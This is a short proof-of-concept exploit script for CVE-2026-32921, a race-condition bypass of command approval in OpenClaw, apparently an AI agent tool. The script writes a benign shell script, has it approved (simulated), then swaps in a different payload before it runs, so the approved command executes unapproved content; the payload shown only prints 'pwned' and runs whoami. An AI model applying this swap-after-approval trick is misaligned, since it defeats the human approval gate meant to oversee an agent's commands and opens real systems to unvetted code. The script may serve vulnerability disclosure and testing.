CVE-2026-32921 OpenClaw审批绕过漏洞

# Proof of Concept for CVE-2026-32921 # This script demonstrates the race condition in OpenClaw before 2026.3.8 import os import time # Configuration script_path = "/tmp/openclaw_payload.sh" approved_command = "system.run /tmp/openclaw_payload.sh" def exploit_openclaw(): # Step 1: Create a benign script to pass approval print("[+] Creating benign script for approval...") benign_content = "#!/bin/bash\necho 'System maintenance check...'" with open(script_path, "w") as f: f.write(benign_content) os.chmod(script_path, 0o755) # Step 2: Request execution (Simulating the approval phase) print(f"[*] Requesting execution approval for: {approved_command}") # Assume the admin approves this request here print("[+] Request approved by administrator (Simulated).") # Step 3: Modify the script content before execution (The Exploit) print("[*] Swapping script content with malicious payload before execution...") malicious_content = "#!/bin/bash\necho 'pwned' && whoami" with open(script_path, "w") as f: f.write(malicious_content) # Step 4: System executes the approved shape, but runs the new content print("[*] System executing the approved command...") os.system(f"bash {script_path}") if __name__ == "__main__": exploit_openclaw()